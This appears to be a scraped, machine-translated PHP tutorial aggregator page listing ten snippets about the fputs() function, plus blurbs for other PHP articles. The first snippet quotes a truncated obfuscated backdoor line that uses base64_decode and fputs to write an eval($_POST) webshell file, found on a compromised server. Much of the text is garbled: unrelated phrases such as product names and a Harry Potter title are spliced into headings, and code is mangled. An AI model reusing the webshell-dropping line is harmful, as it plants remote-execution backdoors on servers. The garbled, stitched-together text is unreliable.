Home Backend Development PHP Tutorial 10 recommended articles about php fputs() function

10 recommended articles about php fputs() function

Jun 11, 2017 am 10:51 AM

This article collects 10 articles about the php fputs() function and recommends them to everyone to watch

1. thinkpad tablet 2 PHP invisible one-sentence backdoor , and the ThinkPHP framework encryption program base64_decode

Introduction: thinkpad tablet 2: thinkpad tablet 2 PHP invisible one-sentence backdoor, and the ThinkPHP framework encryption program base64_decode: A customer today The server is frequently written to: mm.php. The content is: The copy code is as follows: Finally, the first line in a file is found to have the following code: The copy code is as follows: fputs(fopen(base64_decode("bW0ucGhw"),"w"),base64_decode("PD9ldmFsKCRfUE9TVFtj

##2. Hikvision hard disk video recorder remotely obtains the remote file size in php Function

## Introduction: Hikvision hard disk video recorder remote: Hikvision hard disk video recorder remote access to the php function of remote file size: Copy the code The code is as follows:

3.

response.write Implementation code for PHP to write WRITE encoded files as UTF8

Introduction: response.write:response.write PHP to write WRITE encoded as UTF8 UTF8 file implementation code:

4.

harry potter and the deathly h php text operation method collection comparison Page 1/2

Introduction: harry potter and the deathly h: harry potter and the deathly h PHP text operation method set comparison Page 1/2: String reading and writing Functions fgets and fputs 1. Read string function The function of fgets function is to read a string from the specified file into a character array. The function call is in the form: fgets (character array name, n, file pointer); where n is a positive integer. Indicates that the string read from the file does not exceed n-1 characters. Add the end-of-string mark '' after the last character read. For example: fgets(str,n,fp); means port sniffer made from

##5.

Folder sniffer Php--you can specify the website and Port

Introduction: Folder sniffer: Folder snifferPhp made port sniffer--you can specify the website and port:

6.

Implementation code for PHP to write files with WRITE encoding as UTF8_ PHP tutorial

Introduction: PHP implementation code for writing files encoded as UTF8 by WRITE?php $f=fopen("test.txt","wb"); $text=utf8_encode("桨!"); //addingheader $text="xEFxBBxBF".$text; fputs($f,$text); fclose($f); ?

7.

php text operation method collection comparison page 1/2_PHP tutorial

Introduction: php text operation method collection comparison page 1/2. String reading and writing functions fgets and fputs 1. Reading string function The function of the fgets function is to read a string from the specified file into a character array. The function call is in the form: fgets(number of characters

8.

PHP function to get remote file size_PHP tutorial

##Introduction: PHP function to get remote file size. Copy the code as follows: ?php function getFileSize($url){ $url = parse_url($url); if($fp = @fsockopen($url['host'],empty($url['port'])?80:$url[ 'port'],$error)){ fputs($fp,"GET ".

9. Send email using Socket 8_PHP tutorial

Introduction: Send email using Socket 8. 61 //Add the end string 62 if(!ereg(".", $message)) 63 $message .= "."; 64 $this-$#@62;show_debug($message, "out"); 65 fputs($this-$#@62;fp, $message); 66 67 $this-$#@62;lastat="QUIT

10. Send using Socket Email 6_PHP Tutorial

Introduction: Use Socket to send email 6. Execute a command 1 function do_command($command, $code) 2 { 3 $this-$ #@62;lalastact=$command; 4 $this-$#@62;show_debug($this-$#@62;lalastact, "out"); 5 fputs ( $this-$#@62;fp, $this -

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PHP 8.4 Installation and Upgrade guide for Ubuntu and Debian PHP 8.4 Installation and Upgrade guide for Ubuntu and Debian Dec 24, 2024 pm 04:42 PM

PHP 8.4 brings several new features, security improvements, and performance improvements with healthy amounts of feature deprecations and removals. This guide explains how to install PHP 8.4 or upgrade to PHP 8.4 on Ubuntu, Debian, or their derivati

How To Set Up Visual Studio Code (VS Code) for PHP Development How To Set Up Visual Studio Code (VS Code) for PHP Development Dec 20, 2024 am 11:31 AM

Visual Studio Code, also known as VS Code, is a free source code editor — or integrated development environment (IDE) — available for all major operating systems. With a large collection of extensions for many programming languages, VS Code can be c

7 PHP Functions I Regret I Didn't Know Before 7 PHP Functions I Regret I Didn't Know Before Nov 13, 2024 am 09:42 AM

If you are an experienced PHP developer, you might have the feeling that you’ve been there and done that already.You have developed a significant number of applications, debugged millions of lines of code, and tweaked a bunch of scripts to achieve op

How do you parse and process HTML/XML in PHP? How do you parse and process HTML/XML in PHP? Feb 07, 2025 am 11:57 AM

This tutorial demonstrates how to efficiently process XML documents using PHP. XML (eXtensible Markup Language) is a versatile text-based markup language designed for both human readability and machine parsing. It's commonly used for data storage an

Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Explain JSON Web Tokens (JWT) and their use case in PHP APIs. Apr 05, 2025 am 12:04 AM

JWT is an open standard based on JSON, used to securely transmit information between parties, mainly for identity authentication and information exchange. 1. JWT consists of three parts: Header, Payload and Signature. 2. The working principle of JWT includes three steps: generating JWT, verifying JWT and parsing Payload. 3. When using JWT for authentication in PHP, JWT can be generated and verified, and user role and permission information can be included in advanced usage. 4. Common errors include signature verification failure, token expiration, and payload oversized. Debugging skills include using debugging tools and logging. 5. Performance optimization and best practices include using appropriate signature algorithms, setting validity periods reasonably,

PHP Program to Count Vowels in a String PHP Program to Count Vowels in a String Feb 07, 2025 pm 12:12 PM

A string is a sequence of characters, including letters, numbers, and symbols. This tutorial will learn how to calculate the number of vowels in a given string in PHP using different methods. The vowels in English are a, e, i, o, u, and they can be uppercase or lowercase. What is a vowel? Vowels are alphabetic characters that represent a specific pronunciation. There are five vowels in English, including uppercase and lowercase: a, e, i, o, u Example 1 Input: String = "Tutorialspoint" Output: 6 explain The vowels in the string "Tutorialspoint" are u, o, i, a, o, i. There are 6 yuan in total

Explain late static binding in PHP (static::). Explain late static binding in PHP (static::). Apr 03, 2025 am 12:04 AM

Static binding (static::) implements late static binding (LSB) in PHP, allowing calling classes to be referenced in static contexts rather than defining classes. 1) The parsing process is performed at runtime, 2) Look up the call class in the inheritance relationship, 3) It may bring performance overhead.

What are PHP magic methods (__construct, __destruct, __call, __get, __set, etc.) and provide use cases? What are PHP magic methods (__construct, __destruct, __call, __get, __set, etc.) and provide use cases? Apr 03, 2025 am 12:03 AM

What are the magic methods of PHP? PHP's magic methods include: 1.\_\_construct, used to initialize objects; 2.\_\_destruct, used to clean up resources; 3.\_\_call, handle non-existent method calls; 4.\_\_get, implement dynamic attribute access; 5.\_\_set, implement dynamic attribute settings. These methods are automatically called in certain situations, improving code flexibility and efficiency.

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